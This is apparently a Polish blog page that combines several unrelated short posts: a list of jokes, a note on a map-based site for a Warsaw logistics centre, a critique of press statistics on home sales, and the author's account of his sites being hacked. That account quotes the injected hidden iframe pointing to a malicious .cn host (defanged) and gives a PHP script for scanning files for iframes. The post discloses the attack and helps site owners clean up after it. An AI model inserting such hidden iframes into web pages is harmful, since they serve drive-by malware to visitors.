• Kajakiem spływ potemsportowe
• Wytrzyj kurze! ornitologiczne
• Piwo Strzelec jest bardzo dobre z billboardów piwa Strzelec
• Świerzbionka własne
• Boeuf Ostrogonow własne
• Kotlet De Voilaj z dworca PKP we Wrocławiu
• Insert monet z boksów na bagaż na dworcu PKP we Wrocławiu
• Powiększ penisa, opóźnij wytrysk Upominki za 5 groszy Kup Teraz! z Google Adwords

Strona korzysta z map Google, pokazując centrum logistyczne w rzeczywistym otoczeniu Żerania, do wyboru — na mapie lub zdjęciu satelitarnym. Dzięki dobremu pokryciu Warszawy (co akurat nie dziwi) efekt jest czytelny i atrakcyjny.

Oprócz samej strony powstała też ulotka A4 w PDF do pobrania, o tej samej treści.

Również niniejsza strona i nasza główna — ntxt.net, zostały, jak mówią Amerykanie, skompromitowane. Piątego kwietnia we wszystkich plikach PHP i HTML o nazwach zaczynających się na ‘index’ pojawił się taki kawałek (dodałem gwiazdkę przed http):

<iframe src="*http://lotante.cn/in.cgi?income38"
width=1 height=1 style="visibility: hidden"></iframe>

Konkretny adres bywa różny, lista podejrzanych domen jest spora. Ten akurat podobno (bo nie sprawdzałem!) sprawdza obecność pluginu Flash luub Acrobat Readera, po czym ściąga spreparowany plik PDF albo SWF. Moim zdaniem warto mieć wyłączony domyślnie JavaScript, (w Firefoksie np. rozszerzeniem NoScript). Infekcja może spowodować że Google będzie sygnalizować zagrożenie przy wchodzeniu na stronę (jeśli ktoś to zgłosi, oczywiście). Oprócz pozbycia się robactwa z komputera, należy koniecznie zmienić hasło do FTP, unikając zapamiętywania go przez program. Total Commander w najnowszej wersji (7.5 beta) ma już ochronę haseł szyfrowaniem i hasłem głównym.

Trzeba też odnaleźć wszystkie zmiany poczynione przez bota na FTP, a to żmudne zajęcie. Odrobinę może pomóc taki skrypt w PHP, przeczesujący pliki zawierające ‘index’ w nazwie i sygnalizujący wystąpienia taga <iframe>. Aby z neigo skorzystać, trzeba zapisać go np. pod nazwą znajdziframe.php w katalogu ze stroną, ustawiając wcześniej zmienną $root na odpowiednią dla swojego serwera. Potem, z przeglądarki, wywołujemy go wpisując adres: http://mojserwer/znajdziframe.php?depth=10 i czekamy na listę podejrzanych (bo nie każdy iframe jest zły!). Parametr depth określa głębokość, na jaką w podkatalogi zagłębi się sprawdzacz licząc od katalogu głównego.

< ?
// katalog główny strony
$root = '/public_html';
 
// głębokość sprawdzania w podkatalogach
$depth = empty($_GET['depth']) ? 5 : $_GET['depth'];
 
// uruchomienie
digdir($root, $depth);
 
// rekurencyjna funkcja sprawdzająca
function digdir($dir, $level){
	if($level <= 0) return false;
	$handle = opendir($dir);
		while($plik = readdir($handle)){
			$path = "$dir/$plik";
			if(substr($plik, 0, 1)!="."){
				//$data = date("Y-m-d", filemtime($path));
				//$prawa = decoct(fileperms($path));
 
				if(!is_dir($path)){
					//$rozmiar = filesize($path);
					if(preg_match('/index/', $plik)){
						$contents = file_get_contents($path);
						if(preg_match('/iframe/', $contents)) echo "znaleziono iframe w $path<br/>";
					}
				} else {
					digdir($path, $level - 1);
				}			
			}
		}
	closedir($handle);	
}
 
?>

Według statystyk Google w styczniu Polacy około 1,5 miliona razy wpisywali do wyszukiwarki hasło “sprzedam dom”. Drugie tyle wyszukiwań dotyczyło hasła “sprzedam mieszkanie”

Jakoś nie podobały mi się te liczby. Sprawdziłem w Google Trends i w narzędziach Google AdWords. Jeśli chodzi o szturm, to o tej porze roku mniej więcej ten sam poziom pojawia się od kilku lat, na pewno nie jest znacząco wyższy niż w zeszłym. Co do liczb natomiast, Google twierdzi, że frazy wymieniane w artykule były używane około 10-12 tys. razy każda, tak w lutym, jak w styczniu. Skąd zatem szturm? Zaczynam wierzyć komentarzom z for gazeta.pl czy innych o stronniczości dziennikarzy…

W artykule wypowiada się p. Marta Kosińska z szybko.pl, jednak nie potwierdza wprost tego skoku zainteresowania. Na stronach, których statystki posiadam, (luksusowe apartamenty i rezydencje — savills-residential.pl, mieszkania i domy w Warszawie — AIG/Lincoln) ruch rzeczywiście rośnie, ale tylko trochę. Fakt, że nie są one porównywalne wielkością do szybko.pl.